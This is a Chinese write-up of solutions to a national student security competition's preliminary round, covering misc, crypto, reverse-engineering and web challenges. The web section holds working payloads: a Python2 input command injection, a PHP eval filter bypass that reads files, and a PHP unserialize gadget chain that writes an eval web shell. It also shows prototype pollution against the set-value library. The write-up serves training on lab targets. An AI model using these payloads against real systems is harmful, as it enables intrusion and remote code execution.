第十三届全国大学生信息安全竞赛创新实践能力赛初赛部分题解
by wqpw
MISC1 签到
qq群,等每个地区的ip超过10个
flag{同舟共济扬帆起,乘风破浪万里航。}
MISC2 the_best_ctf_game
下载附件解压,用16进制编辑器打开可以看到:
排下来就是flag,用替换处理一下得到:
flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}
MISC3 电脑被黑
下载解压附件,用binwalk -e disk_dump
提取出文件,逆向demo
fakeflag.txt
验证程序没问题,又由fakeflag.txt
知道flag{
加密后是D*\x03\xe5)
,利用16进制编辑器在disk_dump
中全局搜索D*\x03\xe5)
找到真flag
用程序跑一下
#include <stdio.h>
#include <string.h>
//char v7[] = "D*\x03\xe5)\xbc\x96\x7fU5\x1b\xe1\xdd\xa4\x85\xa2\x1d\x0e\xef\xd0\xa7k";
char v7[] = "\x44\x2A\x03\xE5\x29\xA3\xAF\x62\x05\x31\x4E\xF3\xD6\xEB\x90\x66\x24\x5C\xB7\x92\xF6\xD7\x4D\x0B\x6A\x41\xA3\x85\xEF\x90\x5A\x7E\x5B\xEC\xC1\xF0\xD4\x61\x12\x12\x45\xEB\xB8";
//00888000
int main()
{
int len = strlen(v7);
int v4 = 34;
int v5 = 0;
for (int i = 0, j = len-1; i < len; i++,j--) {
//char v6 = v7[i];
//printf("%c", (v4 ^ (v5 + v6)));
//v7inv[j] = (v4 ^ (v5 + v6));
//printf("%d %d %d\n", v4, v5, v6);
v4 += 34;
v5 = (v5 + 2) & 0xf;
}
putchar(10);
for (int i = len - 1; i >= 0; i--) {
char v6 = v7[i];
v4 -= 34;
v5 = (v5 - 2) & 0xf;
printf("%c", ((v4 ^ v6) - v5));
//printf("%d %d %d\n", v4, v5, v6);
}
return 0;
}
flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}
CRYPTO8 bd
根据这篇文章【技术分享】CTF中RSA的常见攻击方法及附件的task.py
直接上工具,把RSAwienerHacker.py
最后几行改成:
if __name__ == "__main__":
#test_is_perfect_square()
#print("-------------------------")
#test_hack_RSA()
hacked_d = hack_RSA(e, n) #task.py里给的
print(hacked_d)
运行得到d=1485313191830359055093545745451584299495272920840463008756233
然后
from Crypto.Util.number import *
x = pow(c, d, n)
print(long_to_bytes(x))
得到flag{d3752538-90d0-c373-cfef-9247d3e16848}
CRYPTO9 lfsr
在https://github.com
搜索lfsr.py
的第八行代码def lfsr(state, mask):
https://github.com/search?q=def+lfsr%28state%2C+mask%29%3A&type=Code
找到了现成的工具https://github.com/vbousson/lfsr_breaker/
下下来把模块处理下,在analyser.py
最后加一行a = LFSRAnalyser(output.txt的内容)
,运行得到mask,加上flag{
和}
即可
flag{856137228707110492246853478448}
原理是啥暂时不知道.
PWN10 babyjsc
这个题和pwn貌似完全没关系,就是考了个py2和py3的input
的差别,py2里input可以执行表达式,直接得到flag,不过这题是py2我也是瞎猜的.
payload:__import__('os').system('cat /home/ctf/flag')
REVERSE15 z3
方程组
等于的值
#!/usr/bin/env python2
import numpy
a=numpy.array([[12,53,6,34,58,36,1],[83,85,12,73,27,96,52],[78,53,24,36,86,25,46],[39,78,52,9,62,37,84],[23,6,14,74,48,12,83],[27,85,92,42,48,15,72],[4,6,3,67,0,26,68]])
b=numpy.array([0x4F17,0x9CF6,0x8DDB,0x8EA6,0x6929,0x9911,0x40A2])
x1=numpy.linalg.solve(a,b)
d=numpy.array([0x2F3E,0x62B6,0x4B82,0x486C,0x4002,0x52D7,0x2DEF])
x2=numpy.linalg.solve(a,d)
f=numpy.array([0x28DC,0x640D,0x528F,0x613B,0x4781,0x6B17,0x3237])
x3=numpy.linalg.solve(a,f)
h=numpy.array([0x2A93,0x615F,0x50BE,0x598E,0x4656,0x5B31,0x313A])
x4=numpy.linalg.solve(a,h)
j=numpy.array([0x3010,0x67FE,0x4D5F,0x58DB,0x3799,0x60A0,0x2750])
x5=numpy.linalg.solve(a,j)
l=numpy.array([0x3759,0x8953,0x7122,0x81F9,0x5524,0x8971,0x3A1D])
x6=numpy.linalg.solve(a,l)
print ''.join(map(lambda x:chr(int(round(x))),x1)),
print ''.join(map(lambda x:chr(int(round(x))),x2)),
print ''.join(map(lambda x:chr(int(round(x))),x3)),
print ''.join(map(lambda x:chr(int(round(x))),x4)),
print ''.join(map(lambda x:chr(int(round(x))),x5)),
print ''.join(map(lambda x:chr(int(round(x))),x6))
flag{7e171d43-63b9-4e18-990e-6e14c2afe648}
REVERSE16 hyperthreading
用Ollydbg
打开,搜索字符串找到比较的地方下断点
运行后随便输个flag{test}
,在比较的地方查看对应的内存
可以看到flag{
变成了了DD 5B 9E 1D 20
,重新测试输入其他的flag{xxxxx}
也可以看到不变,所以猜测是有一个映射关系.
同时根据cmp cl,byte ptr ds:[eax+0x472150]
得到加密后的flag为
重新运行程序输入0123456789abcdefghijklmnopqrstuvwxyz
全都复制出来处理一下,可以再来一次看下{}-_
加密后的结果,写个脚本
a = {'-': '8B', '1': '92', '0': '52', '3': '12', '2': 'D2', '5': '91', '4': '51', '7': '11', '6': 'D1', '9': '90', '8': '50', '_': '17', 'a': '9E', 'c': '1E', 'b': 'DE', 'e': '9D', 'd': '5D', 'g': '1D', 'f': 'DD', 'i': '9C', 'h': '5C', 'k': '1C', 'j': 'DC', 'm': 'DB', 'l': '5B', 'o': '1B', 'n': '9B', 'q': 'A2', 'p': '62', 's': '22', 'r': 'E2', 'u': 'A1', 't': '61', 'w': '21', 'v': 'E1', 'y': 'A0', 'x': '60', '{': '20', 'z': 'E0', '}': '9F'}
b = {k:v for v,k in a.items()}
flag='DD 5B 9E 1D 20 9E 90 91 90 90 91 92 DE 8B 11 D1 1E 9E 8B 51 11 50 51 8B 9E 5D 5D 11 8B 90 12 91 50 12 D2 91 92 1E 9E 90 D2 9F'.split(' ')
for i in flag:
print b[i],
flag{a959951b-76ca-4784-add7-93583251ca92}
WEB
easyphp
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
需要找到一个参数要2个以上的函数使进程异常退出,similar_text
可以.
rceme
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
//略
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
关键就是
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
要进到if分支里,首先要满足正则$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
,在https://regexr.com/研究一下,可以构造出{if: x}x{end if}
本地测试把highlight_file去掉,在那个eval
前一行加个echo 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}';
打印一下
得到注入的位置,然后就是绕过过滤,这个网上有很多文章,比如
system("ls")
"system"("ls")
(system)(ls)
(sy.(st).em)/**/(ls)
"\x73\x79\x73\x74\x65\x6d"("ls")
// ......
使用?a={if: (sy.(st).em)('cat /flag')}x{end if}
得到flag.
easytrick
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
由https://github.com/bowu678/php_bugs的14和22
本地构造测试
<?php
class trick{
public $trick1 = '9.1';
public $trick2 = 9.1000000000000009;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo 'flag';
}
//var_dump($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2);
//var_dump($this->trick1, $this->trick2);
}
}
//highlight_file(__FILE__);
//$a = new trick();
//echo urlencode(serialize($a));
//unserialize($_GET['trick']);
error_reporting(0);
$a='9.1';
$a = (string)$a;
$b=9.1000000000000009; //0的个数要足够
echo strlen($a);echo strlen($b);
echo "\n";
var_dump($a, $b);
echo "\n";
var_dump($a !== $b, md5($a) === md5($b), $a != $b);
再把$a = new trick();echo urlencode(serialize($a));
加上,得到payload:O%3A5%3A"trick"%3A2%3A{s%3A6%3A"trick1"%3Bs%3A3%3A"9.1"%3Bs%3A6%3A"trick2"%3Bd%3A9.100000000000001%3B}
littlegame
首先盲猜就是原型链污染.
把代码下下来本地跑一下node bin/www
(把app.js的secret和routes/index.js的flag随便改改方便测试)
代码审计,看routes/index.js
,第72行是setFn(req.session.knight, key, value);
,显然有问题(题见多了)
vscode里面右键转到定义得知用的是set-value
这个库,项目地址在https://github.com/jonschlinkert/set-value
在issues里可以找到漏洞https://github.com/jonschlinkert/set-value/issues/17
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213给了POC
const setFn = require('set-value');
const paths = [ 'constructor.prototype.a0', '__proto__.a1', ];
function check() {
for (const p of paths) {
setFn({}, p, true);
}
for (let i = 0; i < paths.length; i++) {
if (({})[`a${i}`] === true) {
console.log(`Yes with ${paths[i]}`);
}
}
}
check();
然后routes/index.js
里和flag有关的是
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
//略
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
//res.send(process.env.flag);
res.send('flag');
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
//略
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
/DeveloperControlPanel
的key
是可以指定的,所以利用原型链污染加一个password就可以了,而且/Privilege
里key
和value
都可以控制.
POST发送两次,然后
babyunserialize
用御剑扫到网站备份www.zip
然后本地审计调试.
显然这题要我们挖一条有用的反序列化利用链,第一步一般是是全局搜索__destruct
可以看到只有3个,其中image.php
是删文件,ws.php
虽然有动态函数但参数类型控制不了,只能看下jig.php
function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}
貌似是写文件,看一下write的定义
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}
然后$fw->write
在lib\base.php
里
function write($file,$data,$append=FALSE) {
return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}
可以看到整个流程对文件名,文件内容没有任何过滤,顶多包装了一下内容,对php是没有影响的.
经过调试验证构造出exp
<?php
namespace db {
class Jig
{
protected $dir = "xxx";
protected $data = ["QAQ.php" => ["QWQ" => '<?php eval($_POST[0]); ?>']];
protected $lazy = 1;
};
$a = new Jig();
echo urlencode(serialize($a));
}
?>
拿生成的payload打一下
成功写入shell,然后在/tmp
下找到flag,因为可写目录只有web根目录和/tmp